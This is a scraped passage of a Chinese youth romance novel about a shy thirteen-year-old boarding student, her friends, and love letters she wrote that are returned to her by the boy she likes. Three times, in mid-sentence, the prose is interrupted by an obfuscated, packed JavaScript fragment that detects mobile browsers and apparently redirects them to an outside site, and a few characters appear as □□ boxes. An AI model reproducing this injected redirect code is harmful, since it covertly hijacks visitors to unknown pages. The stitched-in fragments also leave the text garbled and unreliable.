在楼紫巷的一个拐角处，她快速躲进去，又迅速出现，正面堵上一直跟在自己身后的时序。 “我……”少年有些不好意思地挠挠脑袋，不知该怎么解释。 不过少女好像也没有想听他解释的意思，而是声音又冷了几分：“以后别再跟着我了。” 时序一急，只能耍无赖：“这条巷子又不是你家开的，你走得，我就走不得？” “随便你。”甄好说完径自转身继续朝巷子深处走去。 她的冷漠让时序想说的话只能硬生生吞回去。 看着甄好连背影都透着拒人于千里之外的样子，他轻叹一声，最后还是不怕死地抬脚跟了上去。 最近学校附近经常有社会青年出现，不安全，他不放心她一个人晚上去那么偏僻的地方。 他刚跟了几步，前方不远处的少女再度停下脚步。 她没有转身，但时序知道她是在对自己说话：“不觉得你很多管闲事吗？” “是啊，我就是多管闲事，怎么了？”时序梗着脖子说道。 十三岁的少年，脸上稚气未脱，一本正经的模样却像个小大人。 “无聊。”见沟通无果，甄好决定不再理会身后之人，再不快点她就要迟到了。 时序也不介意她的冷淡，依旧不远不近地跟着她。 天色越来越暗，巷子也越来越深。 自从一起吃完那个桃子，他们之间便多了两年的空白期。 小学一年级开学那天，他看到许久未见的甄好高兴得不得了，谁知她再也不是他记忆中那个怯生生却爱笑的小女孩。 她总是一个人玩，不爱笑也不爱说话。如果不是他脸皮厚一直缠着她，恐怕她看都不会看他一眼。 起初，时序是觉得好奇。他想不明白短短两年的时间怎么会让一个小女孩变化如此之大。带着这个疑问，他不断地靠近甄好。 喜欢一个人，往往从好奇开始。 而年少无知时，不懂好奇是喜欢的征兆。 五岁那年，他好奇甄好怎么那么执着于跟邹小胖那些讨厌的男生一起玩；七岁这年，他好奇甄好怎么跟谁都不想一起玩…… 这一好奇，就是八年。 甄好没有变回活泼开朗的样子，反而一天比一天沉默。 他不知道这些年来她都经历了什么，从前那个怕黑怕鬼的小女孩如今竟敢一个人走这样偏僻的夜路了。 时间一直往前走，少年们除去个子长高了，连心事也变多了。 时序却不仅心事变多了，还苦恼自己为什么不长高。 准确来说，他是苦恼自己的个子什么时候能超过甄好。 比同龄女孩长得矮，真的是一件很尴尬的事。 他是无意间发现甄好下了晚自习还会去一趟楼紫巷的，除了想知道她去干什么，更重要的是担心她的安全，这才被误会成“跟踪”。 他恍神之际，甄好的身影已经变成一个小点。 他忙快步追了上去。 这晚，甄好没能按时去到自己想去的地方。 在途经最后一个巷口时，有三五个社会青年堵在了那里。 有男有女，手里都夹着一明一灭的烟。 小巷路灯昏暗，她甚至看不清对方的脸。 她想装作若无其事地走过去，然而越靠近他们她的心跳得越快。 最近学校关于社会青年不好的传说一个接一个，她再怎么装冷静都只是一个十三岁的小女孩，更何况是在夜里面对这么多个“不良青年”，那种强烈的压迫感让她不禁仅仅掐住自己的掌心。 就在她硬着头皮决定加快速度冲过巷口时，有个人出声叫住了她：“小妹妹，这么晚去哪儿呀？” 说话的人染着一头黄毛，语气不算凶，但有些轻佻，所以还是狠狠震慑住了本就心里打鼓的甄好。 因为害怕，她好半天都没说话。 “小妹妹怎么不说话？”黄毛又开口。 “是啊，得哥跟你说话呢。”另一个留着厚刘海，打了三个耳洞的女生说道。 “宛妹，别吓坏人小妹妹了。”黄毛猛地吸了一口烟，语气不轻不重。 甄好心一沉。 那个黄毛竟然就是大家经常提起的不好惹的得哥…… “我……我去楼紫巷1010号。”甄好强压下紧张感，如实说道。 “哦，去秋先生那里啊。”得哥嗤笑道，“那老头家有什么好玩的？跟我们一起玩啊。” 这时，时序已经跟了上来，见是得哥，自然而然地跟他勾肩搭背：“是什么风把得哥给吹来了？” “你小子怎么也在这里？”得哥见到是时序，脸上更加堆满了笑。 “邻居家一个妹妹，这不，太晚了，我送送她。”时序看了一眼甄好。 “原来是护花使者啊，明白，明白。”得哥扔掉已经抽完的烟蒂，用脚尖碾了碾，才又继续说，“既然这位小妹妹是时老兄的妹妹，那也就是我得哥的妹妹，以后哥罩着你们。” 听着他们的对话，甄好心里生出一种厌恶的感觉。 二〇〇五年好像刮起了一阵“认哥哥认妹妹”的风潮，好像没有一两个“哥哥妹妹”就落伍了似的。 可甄好不喜欢这股风气。 她没兴趣再听他们说了什么，径直继续朝前走去。 “你这邻家妹妹，还挺酷。”得哥朝甄好离去的方向抬了抬下巴，“时老兄，追得很辛苦吧？” 时序只是干笑了两声，没有承认也不否认。 等应付完得哥，他已经彻底跟丢了甄好。 楼紫巷说大不大说小不小，想在这里盲找人并不是一件容易的事。 另一边，楼紫巷1010号。 甄好看着一片漆黑的房屋，知晓秋先生应当是等久了，觉得自己不会来所以先走了。 他们有言在先，倘若超过十点钟她未能到达此处，那便是被学习或者其他事情耽搁了。 在不少同学都已经拥有彩屏手机的初中一年级，甄好只有一部省吃俭用了一个星期才能买得起的MP3，价值八十元。 这就是小镇来的小孩和城里小孩的区别之一。 甄好看着早就没电的白色MP3，又看了一眼门窗紧闭的屋舍，转身往来时路走去。 月光洒下，丹桂飘香，她的身影被拉得长长的，也细细的。 就像她无人托举的人生，飘摇又脆弱。 甄好一步一步走得飞快，她只想快点回到有光亮的地方。 拐过几个转角后，她又遇到了人。 看清两人是谁后，她一向冷淡的脸难得出现一丝笑意。 “好好，可算找到你了。”周淳芮快步走近她。 跟在周淳芮身后的鄢云书站在原地没动，也没说话。 她们是甄好从小学玩到现在的好朋友，三人性格迥异，却又意外投缘。 周淳芮性格活泼开朗，爱笑爱折腾，在人群里是小太阳般的存在。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557325|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 鄢云书属于清冷文静的女生，她的父亲是教师，对她的要求极其严格，是以从小就品学兼优。 至于甄好……她也说不清自己是什么性格。 “是不是不当我们是朋友了？”周淳芮一张小嘴停不下来，“你说你都偷偷跑多少回了？最近外面不太平你不知道吗？” “好好，芮芮说得对。”鄢云书终于开口说了第一句话。 “知道了，下次一定叫你们陪我。”甄好无奈道。 她常常觉得，朋友是上天赐给她的最好的礼物，是她想珍藏一辈子的珍宝。 “走吧，回寝室吃我新买的零食！”周淳芮一边揽住一个，笑嘻嘻道。 三个女生结伴走出楼紫巷，在巷口左转或右转都是热闹的街道，不过她们没有时间逛街了，因为女生宿舍的门禁不等人。 “好好、云云，快跑呀！”周淳芮拉着两人奔跑在夜里的英东街上。 风肆意地吹过少女们的耳畔，像青春里那些又酸又甜的心事散落在秋日里。 回到寝室后，三人默契地拿出那部白色MP3。 得来不易的东西总是让人更加知道珍惜，电量没有完全耗尽她们都舍不得充电。 “好巧啊，都没电了。”甄好微微笑了笑，让道，“芮芮、云云，你们先充。我去洗漱。” “好啊，等我的充满了就帮你的充！”周淳芮大方地接受。 寝室的插座不多，目前空闲的只有两个。 就读安南三中却需要住宿的学生都是从各个偏远乡镇来的，她们三个都来自闽镇，寝室其他五人的家乡分布在闽市的各个小镇。 总结一句话就是，她们寝室八个人都来自小地方。 甄好赶在熄灯前十分钟洗漱完毕，室友们也都早就上床躺着了。 只是这晚的气氛好像有些怪异，不过她也没多想。 “好好，我先躲被窝里看小说啦，你记得收MP3。”周淳芮从上铺探出脑袋来交代道。 甄好点点头：“知道了。” 她拔掉MP3的充电器，又从枕头底下摸出一本带密码锁的笔记本，而后轻手轻脚地摸进卫生间。 她们的寝室位于二楼，卫生间的窗户正好有一盏路灯洒下光亮，即使熄灯了也能勉强看清字。 甄好每日熄灯前喜欢在这偷来的光下，书写心里那些轻飘飘又沉甸甸的潮湿心事。 好像只有这一刻才是真正属于她的时间，只有日记本上那些世界才是她所能够控制的，她很喜欢这种感觉，并且日渐上瘾。 她每次都只会写几行字，写完就出去了，自然得像是上了一个厕所，因此没人发现她的这个小小习惯。 包括周淳芮和鄢云书。 她抚摸着笔记本上的密码装置，不可抑制地又想起了爷爷。 在她读小学三年级的时候，爷爷给了她一把小锁，锁上的钥匙小巧精致。 爷爷告诉她：“小孩子也需要自己的空间，这把小锁是爷爷送你的秘密花园。你要自己保管好，知道吗？” 小小年纪的她不懂爷爷这句话背后是对一个孩子最大的尊重，只是新奇地接过锁，并用力地点头：“我知道了，爷爷。” 爷爷…… 甄好鼻子一酸，眼泪差点掉下来。 她深呼吸一口气，等情绪稍微缓了缓，才开门走了出去。 寝室已经熄灯了，不过大家好像开起了卧谈会。 她听见八卦精周淳芮同学神秘兮兮地说道：“哎，你们知道吗？听说师杭与和那谁谈恋爱了。” 闻言，甄好心一沉。 5. 她总是不好意思 今日天气晴，心情雨。 683同学看我的眼神像下了雪。 ——《甄好日记》 师杭与。 那个经常出现在她日记本里的男生，谈恋爱了？ 甄好微微垂下眼睑，努力压下心中的苦涩，不准备参与她们的话题。 她睡周淳芮下铺，掀开被子就能进被窝，很方便。 但她不喜欢有人不换睡衣就坐在自己的床铺上，直接说出来显得矫情且不近人情，不利于寝室和谐，她只好退而求其次，将用旧的床单对折再对折，然后铺在床边。 如此一来，别人可以随便坐，睡觉前她再把床单收起来叠好就行。 麻烦是麻烦了些，可很大程度地治好了她那不算严重的洁癖。 甄好刚躺下，姚明娜就点了她的名：“好好，你怎么不说话呀？” 她们几个人你一言我一语的，把班里有那个苗头的男女同学都分析了个遍，却始终不见甄好发言，再加上那个传闻，姚明娜这才忍不住主动开口询问。 “嗯？说什么？”她们说的，甄好都听到了，可她实在没有心情插嘴。 “看来你真的不知道这事啊。”姚明娜若有所思。 “什么事啊？”周淳芮觉得不可思议，跟甄好有关的，竟然还有她不知道的。 “就是……”姚明娜小心翼翼地说道，“班里好些女生都说好好……” “吵什么吵？不知道熄灯了吗？还想不想睡觉了？”姚明娜的话被宿管阿姨粗暴地打断，“都给我赶快睡觉！再说话就给我起来罚站，今晚别睡了！” 宿管阿姨的嗓门一向大，在这黑暗里一吼更加震慑人心，整个寝室顿时静悄悄的，谁都不敢再说一句话。 周淳芮却心痒难耐，这晚她要是不能听到姚明娜后面要说的话，她一定会睡不着的。 等宿管阿姨的脚步声渐渐远去后，她“咝咝”了两声：“娜娜，你快告诉我是怎么回事，好好到底怎么了？” 她用的是气声，在安静的环境里能够听得清清楚楚。 “明天再说吧，等下宿管阿姨又杀回来了。”姚明娜向来是个胆小的，说完这句便再也不肯开口。 周淳芮感觉自己浑身像有蚂蚁在爬，难受得紧。她郁闷地翻了个身，前一秒还觉得自己晚上肯定要失眠，下一秒就传来了她均匀的呼吸声。 性格大大咧咧的人，入睡往往都快。 真正失眠的人是睡在她下铺的甄好。 明明寝室里有月光洒进来，甄好却觉得黑暗正在一寸一寸包裹住自己，叫她有些动弹不得。 她盯着头顶上的床板，听着室友们或轻或重的呼吸声，心里烦躁的因子一浪高过一浪。 除了师杭与谈恋爱这件事，她也很想知道姚明娜没说完的话到底是什么。 这种抓心挠肝的感觉很磨人，她很不喜欢这种失控的感觉，更不喜欢情绪掌握在他人手里的感觉。 她越想越心烦，越心烦就越睡不着。 要不是出不了学校，她真想跑到空旷的小山坳去号两声。 可这也只是她的内心活动。 就算真的身处小山坳，她也不好意思大声叫喊。 她总是怕这怕那，最后什么都不敢做。 她不喜欢这样的自己，可她改变不了。 第二天，甄好顶着两个大大的黑眼圈去教室。 刚起床那会儿，周淳芮还处于游魂状态，没有精力去观察身边人是什么状态。等到了教室，她的瞌睡也醒了大半，这才惊觉甄好的脸色比鬼还难看。 “好好，你昨晚是不是偷鸡去了？”周淳芮一脸惊恐地说道，“你的眼圈……” “闭嘴。”甄好预判了她的预判，在她准备惊呼之际，拿早餐堵住了她的嘴，“多吃点，补脑。” 周淳芮几口咽下鸡蛋后，才后知后觉地问同桌，也就是鄢云书：“云云，好好是不是诓我？不是说以形补形吗，鸡蛋为什么能补脑？要补也应该补蛋啊，可是我没有……” 在她的惊世发言还没落下的前一秒，鄢云书手疾眼快地拿一块饼干再度堵住了她的嘴。 周淳芮三两下嚼完饼干，心思仍在方才那个问题上：“好好想给我补脑应该给我买一碗猪脑花才对。” 鄢云书：“……” 坐她们后面的甄好同情地看了一眼鄢云书，到底还是没忍住起身。 “好好，你去哪里？” 她刚侧身踏出一步，周淳芮就眼尖地发现她的动作。 “去一下厕所。”她想去照镜子看看自己的黑眼圈，但她不好意思说。 甄好除了害怕这害怕那，也总是对很多事情感到不好意思。 “我陪你去吧！”周淳芮说着就要站起来。 甄好阻止了她：“不用，我很快回来，你快吃早餐。” 要是周淳芮跟她一起去，她会更不好意思照镜子。 十三岁的女生，开始注重自己的外貌，甄好也不例外。 她嘴上不说，可听到周淳芮那样说，她还是有点不自在，想知道自己的黑眼圈是不是真的那么严重。 是不是……很丑。 距离上课还有十分钟，所以她走得不算快。 刚走到教室门口，她就遇到了姗姗来迟的时序。 “早啊，好好同学。”时序自然地跟她打招呼。 她只是微微点头：“嗯，早。” 说完，她便径直朝走廊尽头的女生厕所走去。 安南三中初中部共有36个班级，每个年级12个，而甄好所在的班级是初一（11）班，几乎在东边走廊的尽头，这意味着她要穿过十个班级，才能到达西边的女厕。 刚升上初一那天，她就吐槽过这个不合理的设计，不过吐槽归吐槽，该走的路一步也少不了。 早晨的女厕几乎没有人，甄好在洗手池前慢悠悠地洗着手，实际上不着痕迹地打量着镜子中的自己。 少女脸颊还带着一丝婴儿肥，逐渐清晰的下颌线削弱了圆润感。眉间有一颗小痣，让这张稚气未脱的脸显现出几分娇媚来。 甄好轻轻地扯了扯嘴角，唇形很漂亮，就是有些苍白，颊边的小梨涡若隐若现，眼睛也跟着弯成月牙状，饶是有着明显的黑眼圈，也尽显朝气。 头发是暑期才开始留的，刚长过耳下。发质又黑又顺，只是发尾不太听话，翘起几绺。 她不是什么大美女，却长得足够清新。 甄好低头看着自己细瘦的手腕，在宽大的校服袖口下更显得腕骨突出。 个子的迅速抽条让她整个人看起来像弱柳，好看却没什么劲。 甄好收回视线，再次感慨自己为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557326|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么不能漂亮一点。 如果她再漂亮一点，也许…… 她脑海中闪过那个少年的脸，却很快又被她甩了出去。 以她的家庭环境，她有什么资格在这个应该读书的年纪里想这些儿女情长呢？ 走出去的时候，她迎面碰上了一个人。 她的同桌，喻玲。 “好好？原来你在这里，我还以为你睡过头了。”她在教室的时候没看到甄好。 “要我等你吗？”甄好没有回答她的问题，而是反问道。 “好啊。”喻玲笑得眯起眼睛，“我很快！” 甄好走到一旁的榕树下等着，喻玲又直又长的马尾在空中抛起一个微小的弧度，而后消失在拐角。 她一直很羡慕同桌拥有一头乌黑亮丽又垂顺的长发，不像她的头发弯曲且微翘。 喻玲不仅头□□亮，脸蛋也长得好，是班花的人选之一。 爱美之心人皆有之，喻玲因为长得好看，班里很多女生都喜欢跟她玩，连男生也都对她格外宽容，处处照应。 甄好胡思乱想之际，喻玲出来了。 “走吧，快上课了。”喻玲亲昵地挽着她的手臂往前走去。 甄好却浑身一僵，强忍住抽出手的冲动，硬着头皮快步走着。 她不喜欢跟别人有肢体接触，哪怕是同性也一样。 喻玲并未发觉她的异样，说话仍旧温温柔柔的：“好好，谢谢你等我呀。” 少女身上有着淡淡的馨香，打底的衣服也是柔软的料子，就连脚上踩着的小皮鞋都比别人的精致。 甄好下意识把校服袖子放下来，遮住自己那穿得有些旧了，也有些短了的打底衫。 “没事。”甄好淡淡地应道。 喻玲实在太过美好，整个人看上去干净又温柔，连她都忍不住想要靠近。 她甚至因为自己有这么好看的同桌而感到一丝丝骄傲。 在这一瞬间，她猛然理解为什么班上的同学都愿意为喻玲提供这样那样的便利。 只要喻玲稍微软下语气央求她做点什么，她承认自己也无法抵抗。 “我从家里给你带了零食，是我爸爸从外地带回来的，很好吃。”喻玲分享着自己的喜悦，“偷偷告诉你哦，我还买了最近很火的小说，到时候第一个借你看。” 甄好欲言又止。 说不羡慕是假的。 新出版的小说一本最少也要二十五元，这对于一个星期只有二十元生活费的甄好来说无疑是一笔巨款。 她一个“好”字还没说出口，就被一道高大的身影挡住了去路。 她们是穿过教学楼后巷朝（11）班走去的，因为快要上课了，一路上都没遇到什么人，突然罩下来的阴影吓了甄好一跳。 不过她只是微微后退了一步，并未大叫。 看清面前之人是谁后，喻玲开口时带着一丝娇嗔：“杭与同学，你吓死人啦。” 甄好想起昨晚的寝室夜谈，忍不住抬头看着面前的少年，却在师杭与视线投过来的一瞬间又心虚地挪开。 她不敢直视他。 师杭与的目光像淬了冰，轻飘飘地落在甄好身上，语气也冷冰冰的：“甄好同学，以后不要再做这种无聊的事了。” 他说完把几封信塞进甄好手里，便转身走了。 6. 少年没有冤枉她 今日大雨，心情特大暴雨。 雨伞一把挨着一把，好像在抱怨雨水太冷，又好像在嘲讽人类太可笑。 ——《甄好日记》 “哎，杭与同学，你怎么这么凶呀！”喻玲对着师杭与远去的身影不满地跺脚道。 甄好冲她摇摇头：“算了，我没事。” 虽然她也对手里的这几封信感到莫名其妙，但马上就要上课了，她根本没有时间深究其中到底发生了什么事。 只是刚跟喻玲说完那句话，她的喉咙瞬间就像被什么堵住了，眼睛也迅速变得热热的。 她垂下头，不想让喻玲看到自己狼狈的样子。 不用照镜子她都知道自己此时的眼睛一定红得吓人，也一定很丑。 她好像又回到了小时候，受到委屈不敢反抗，只会红着眼睛，连哭都不敢哭出声。 没等喻玲说什么，甄好便将那几个信封拢进怀里，快步朝教室走去。 她刚走进教室，就又感受到了那种奇怪的氛围。 有几个女生有意无意地把视线投到她身上，目光里带着明显的探究。 跟昨晚在寝室里的感觉一样，那种感觉像扒光了衣服站在人群里，十分不好受。 她们到底在探究什么，她身上到底有什么值得她们探究的？ 甄好埋头朝自己的座位走去，刻意不去关注那些探寻的目光。 一到座位上，她就快速将怀里的东西扔进桌洞里。 周淳芮看到她回来了，跟往常一样转身跟她说话：“好好，等下英语要听写，救大命……” 她话说到一半发现甄好的眼睛不对劲：“好好，你眼睛怎么了？” “哦，没事，刚刚进沙子，揉了两下。”甄好极力控制自己声音里的颤抖。 上课铃声拯救了甄好，周淳芮半信半疑地“哦”了一声，便转回身去了。 喻玲伸手轻轻拍了拍她的背，安抚道：“好好，没事的，别管臭男生说什么。” “嗯。”甄好微微挺直背部，不着痕迹地躲开喻玲的手，“上课了。” 第一节是英语课，正如周淳芮所说，老师会先进行听写。 甄好的脑子乱乱的，一个单词都想不起来，听写一塌糊涂。 她的心思全在桌洞里那几封信上。 听写纸收上去后，她做好了课后被罚抄单词的心理准备，也做好了被老师点名批评的心理准备。 接下来的课她也心不在焉，一个字都没听进去。 师杭与为什么那样说？ 那些信封里到底写了什么？ 同学们又为什么拿那种眼神看她？ 一个又一个的问题充斥着甄好的大脑，让她握笔的力道都大了几分。 她迫不及待地想要下课，只有下了课，她才能带着信去厕所里拆开细看。 可她越是盼着下课，时间就过得越慢。 她坐立难安，感觉身上像有虫子在爬，怎么调整坐姿都不舒服。 这种煎熬的感觉让她体内的暴躁因子几乎要破体而出，紧皱的眉头始终没有松开。 喻玲感受到她的躁动不安，便写了张字条推到她手边。 她展开一看，上面写着：“好好，你是不是不舒服呀？” 注意力被稍稍转移后，甄好觉得好受了些。 她给喻玲回道：“我没事，谢谢同桌。” 她的同桌真好，经常给她带好吃的，新小说也总让她第一个看，还这么体贴人。 想到这里，甄好侧头对喻玲露出一个不明显的笑，用口型说道：“我真的没事，认真听讲吧。” 听她这么说，喻玲才放心地点点头：“好，认真听讲。” 英语课一下课，甄好的心就开始狂跳。 她左右观察四周，确定没有人注意自己在做什么后，便重新将信拢进怀里，用校服紧紧捂住。 喻玲将她的动作和神情都收入了眼底，只是她什么都没说。 因为过于紧张，甄好并未发现同桌的视线，她很快起身小跑着朝女厕的方向而去。 连时序喊她的声音都没听到。 看着少女慌慌张张的模样，他有些不放心地喃喃自语：“难道是昨晚被得哥吓到了？” 从早自习前看到甄好开始，他就觉得她整个人怪怪的。 忽然，他的肩膀被人轻轻一拍。 他回过头，师杭与手里转动着篮球，邀请道：“中午吃完饭打一场？” “来啊，打就打。”时序毫不犹豫地答应了。 听说打篮球能长个子，不管能不能，他都要猛猛打，早日超过甄好的身高。 师杭与只比他大了三个月，个子却足足比他高了一大截，已经窜到了一米七五。 一定是他篮球打得还不够，于是他大言不惭道：“杭与，以后打篮球都算上我，就是天上下刀子也阻止不了我去篮球场的脚步。” “没问题。”师杭与求之不得，“以后不愁没人陪我打篮球了。” 这边少年们在高谈阔论如何三步上篮，那边甄好已经进了女厕的隔间。 生怕信掉进坑里，甄好的动作小心翼翼的，像在对待什么珍宝。 这是少年亲手塞给她的，哪怕他的眼神像毒蛇一样冷，她也觉得内心有种诡异的雀跃。 起码他主动跟她说话了，还看了她好几眼。 拆第一封信的时候，甄好的心脏怦怦直跳，连动作都慢了几分，信纸甚至险些从她手中滑落。 等信纸完全展开后，甄好猛地瞪大眼睛，紧跟着手忍不住发起抖来。 她不敢置信地扫过纸上的每一个字—— 你像四月的风，轻轻拂过我心间，温暖又安心。 你站在走廊的背影，像一株小白杨，任凭外面风大雨大，我都挪不开望向你的目光。 你认真听讲的侧脸，微风吹起窗帘一角，一丝光亮落在你手边，连课桌都变得可爱起来。 你在篮球场上起跳的身姿，七彩的阳光刚好架起一座彩虹桥落在你白色的校服上，你一定不会知道有个女孩在偷偷注视着你。 ………… 甄好的手抖得越来越厉害，嘴唇早已被她咬出一丝血腥味来，可她浑然不觉，很快又拆开第二封信—— 少年啊，我总恍惚地以为你只会对我笑，我不愿承认你对每个人都温柔谦逊。 少年啊，我喜欢你发呆的模样，也喜欢你大笑的模样，更喜欢你害羞的模样。 多可惜啊，你不是为我发呆，也不是为我大笑，更不是为了我而害羞。 少年啊，你心里是不是也藏着一个不可言说的女孩，是不是像我一样，为了心上人魂牵梦绕，夜不能寐？ 少年啊，我有好多好多话想要对你说，可提笔落下便只剩一句：你能不能多看我一眼？ ………… 看到这里，甄好已经红了眼睛。 她紧紧捏住信纸，力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557327|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道大到手指关节都变白。 怀揣着侥幸心理，她打开第三封信—— 你不需要说话，只要一个眼神我就足够高兴一整天。 就像小时候得了心爱的玩具，幸福可以一直延续。 有时候我在想，你是不是我遗失多年的巨大宝藏，在岁月的齿轮中，又将你转回了我身边。 也许这样说有点矫情，可这就是我最真实的想法。 不知道你会不会觉得像我这样主动的女生显得很廉价？ 我很在意你的想法，我又害怕知道你的想法，是不是很矛盾？ 你们男生应该都喜欢漂亮的女孩子吧，我知道我不够漂亮，但我还是忍不住想要关注你。 我想这就是暗恋者的心态吧。 ………… 暗恋者…… 甄好看得心头一跳。 她不明白事情怎么就变成了这样，她明明…… 她不想恶意地揣度人心，可事实摆在眼前，她想不多想都难。 带着巨大的恐慌，她打开了第四封信—— “把永远爱你写进诗的结尾，你是我唯一想要的了解。” 这是我很喜欢的一句歌词，现在送给你。 我会接着写，一直写，写属于我们的夏天。 对于你，我好像永远有写不完的话，就像你的笑你的背影我怎么都看不腻。 你是不是也有一样的感觉？ 我害怕你的答案，又害怕你没有答案。 这样拧巴的我是不是很无趣？你不用回答这个问题，因为我深知自己就是个无趣的人。 木偶扯一扯还能唱一出戏，我却只敢给你写不具名的信。 ………… 第五封信—— 学校里的麻雀好像越来越多了，让我不可避免地想起那句歌词。 “窗外的麻雀在电线杆上多嘴，你说这一句很有夏天的感觉。” 我说我们的相遇也很有夏天的感觉，我在你身上看见了一整个盛夏。 我喜欢这个夏天，更喜欢你。 这些文字是不是特别无病呻吟？甚至有点酸涩。 但我还挺喜欢的，每一句都想读给你听。 ………… 第六封信—— 今天看着你认真听讲的背影，我突然想学画画。 想画下你皱眉的样子，想画下你做题的身影，想画下你转球的模样，想画下你肆意挥洒的青春…… 想让我的素描本都是你，这也是我的青春。 只可惜，我不会画画，只会给你写这些酸溜溜的文字。 我唯一庆幸的是，你好像没有喜欢的女生，你的目光好像只渴望知识。 只要你不属于任何人，我就有机会让你属于我。 这么说好像有点偏激，但我真的是这么想的。 喜欢一个人不就是自私的吗？或者应该称之为占有欲。 夏天会过去，可有些事情不会。 比如我喜欢你这件事。 ………… 甄好苍白着脸看完最后一个字，指尖颤抖得几乎拿不住薄薄的纸张。 这些信真的都是她写的。 每一个字、每一句话都是她的原创，也是她最真实的心境。 师杭与没有冤枉她。 可这些信又都不是她写的。 一声响雷炸在天际，打断甄好混乱的思绪，瓢泼的大雨说下就下。 7. 不想被女生敌视 今日雨后初晴，天上挂起了彩虹桥。 希望我能像天空一样，想哭就哭，想笑就笑，想发脾气就发脾气。 ——《甄好日记》 即使外面雷声轰鸣，大雨如注，甄好也必须硬着头皮奔跑回教室。 下一节是班主任的语文课。 不是因为她怕班主任，恰恰相反，她很喜欢班主任，也很喜欢班主任讲的语文课。 刚跑出两步，兜头而下的大雨就把她淋了个透心凉。 她死死护住怀里那几封让她不知所措的信，一咬牙，以百米冲刺的速度跑向教学楼。 女厕离最西边的初一（1）班其实不远，目测也就一百来米，只要跑到走廊上，她就可以沿着走廊，不用淋雨也能顺利回到教室。 她只顾埋头疾跑，没注意到自己前方来了人，直直地跟对方撞了个满怀。 男生撑着伞站定，一只手抓住她细瘦的胳膊，伞大半都往她那边移：“好好，是我。” 大雨中，时序还没有少女高，微微举高的伞却为她挡去所有风雨。 甄好侧头看见少年，伞下的空间干燥中带着一丝潮气，握着她胳膊的手温暖又温柔，她心里升起一股别样的感觉。 她没说话，只是任由时序打伞护着自己跑向教学楼。 两人一到走廊上，甄好就快速与他拉开距离，并礼貌地道谢：“谢谢你。” 虽说这些年来，时序一直很照顾她，但自从上了初中，她莫名想与他保持距离。 也许是因为青春期作祟，又或许是因为不想被女生敌视。 时序不仅学习好，又打得一手好篮球，还长着一张足以魅惑异性的脸，甄好十分确定他将来只会比现在更受欢迎。 还有一个深层次的她自己都不想承认的原因——她不想让师杭与误会。 时序和师杭与常常同进同出，一起打篮球，一看就关系很好。 如果她跟时序走得太近，万一被师杭与误会了那就不好了。 听见她疏离的话，时序张了张嘴，最后什么也没说。 倒是甄好又再次开口：“那个，时同学，我可不可以拜托你一件事？” 时序闻言眼睛一亮：“好啊，你说。” “你可不可以晚点再回教室？”甄好说完觉得自己有点过分，又马上改口，“或者你先回教室，可以吗？” 怎么说都是因为有他，她才不至于淋成落汤鸡，她如果得寸进尺要求人家故意迟到，那真的□□将仇报了。 但她说完还是不敢多看时序一眼，生怕他追问自己为什么，因为她答不上来。 少年才刚亮起的眼眸又在一瞬间暗了下去，气氛沉默片刻，甄好才终于听见他说：“当然可以了。” 说完，他转身，快步在走廊里冲刺起来。 时序以体育课考50米短跑的时候都从未有过的速度朝（11）班跑去。 他只想快一点，再快一点，为甄好争取不迟到的时间，也为她减轻一些愧疚感。 他听得出来，少女语气中满是不好意思，他不要她因为这件小事而感到内疚。 所以他拼命地跑。 只要他们没有一前一后走进教室，甄好就不会感到不自在。 甄好看着离自己越来越远的身影，觉得自己坏透了。 巨大的撕扯感在她体内冲撞，一头是冷着脸跟她说话的师杭与，另一头是替她撑伞挡去风雨的时序…… 然而饶是她再磨蹭，也必须赶在上课铃声打响之前回到班级，于是她很快也跟在时序身后小跑起来。 好在她赶上了。 一进教室，她就和裴小海的目光相撞。 他嬉笑着看她，同时跟他身边的少年说着什么，她听不清，但直觉与自己有关。 裴小海是师杭与的同桌，两人是同一个地方的，亦是小学同学，关系很是亲厚。 她心虚地攥紧双手，在师杭与抬头的一瞬间深深地埋下头，全程盯着地板回到自己的座位。 就算有时序的伞，刚出女厕那会儿甄好还是被淋湿了一点。 喻玲见她刘海都湿了，拿纸巾要帮她擦拭，却被她挡下：“谢谢，我自己来就可以了。” 甄好看着少女真诚的眼神，欲言又止。 她很想找喻玲问个清楚，可她现在心里很乱，还没想好该怎么开口。 一整个上午的课她都心不在焉的，一直在思考该怎么处理“情书”这件事。 而坐在她前面的周淳芮早就憋坏了，她在第一节英语课上弄清楚了姚明娜昨晚没说完的话到底是什么。知道得越多她越生气，本想下了课就找甄好问清楚情况，谁知甄好一下课就不见了人影，第二节上课还差点迟到，她忍得好辛苦的话根本找不到机会说出口。 没办法，她只能继续忍耐。 甄好没想到的是，连自己最喜欢语文课听起来都变得索然无味。 她偷偷瞥了一眼五人座第一排坐在中间的那个少年。 